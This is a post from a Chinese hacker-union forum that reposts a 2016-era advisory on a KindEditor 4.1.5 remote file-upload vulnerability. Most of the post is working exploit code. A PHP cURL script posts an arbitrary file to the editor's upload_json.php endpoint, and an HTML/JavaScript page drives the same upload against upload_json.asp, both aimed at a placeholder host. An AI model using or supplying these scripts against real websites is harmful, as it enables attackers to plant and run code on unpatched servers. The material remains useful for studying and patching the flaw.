搜索
查看: 728|回复: 0

kindeditor<=4.1.5文件上传漏洞

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-3-20 21:22:32 | 显示全部楼层 |阅读模式
  1. source: http://www.securityfocus.com/bid/58431/info

  2. KindEditor is prone to multiple remote file-upload vulnerabilities because it fails to sufficiently sanitize user-supplied input.

  3. Attackers can exploit these issues to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

  4. KindEditor 4.1.5 is vulnerable; other versions may also be affected.

  5. <?php

  6. $uploadfile="KedAns.txt";
  7. $ch = curl_init("http://www.example.com/kindeditor/php/upload_json.php?dir=file");
  8. curl_setopt($ch, CURLOPT_POST, true);
  9. curl_setopt($ch, CURLOPT_POSTFIELDS,
  10.        array('imgFile'=>"@$uploadfile"));
  11. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  12. $postResult = curl_exec($ch);
  13. curl_close($ch);
  14. print "$postResult";

  15. ?>

  16. # KindEditor (ASP,ASP.NET,JSP,PHP) _JSON Uploader :
  17. --------------------------------------------------

  18. <html><head>
  19. <title>Uploader By KedAns-Dz</title>
  20. <script src="http://www.example.com/kindeditor/kindeditor-min.js"></script>
  21. <script>
  22. KindEditor.ready(function(K) {
  23. var uploadbutton = K.uploadbutton({
  24. button : K('#uploadButton')[0],
  25. fieldName : 'imgFile',
  26. url : 'http://www.example.com/kindeditor/php/upload_json.asp?dir=file',
  27. afterUpload : function(data) {
  28. if (data.error === 0) {
  29. var url = K.formatUrl(data.url, 'absolute');
  30. K('#url').val(url);}
  31. },
  32. });
  33. uploadbutton.fileBox.change(function(e) {
  34. uploadbutton.submit();
  35. });
  36. });
  37. </script></head><body>
  38. <div class="upload">
  39. <input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
  40. <input type="button" id="uploadButton" value="Upload" />
  41. </div>
  42. </body>
  43. </html>
复制代码


过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表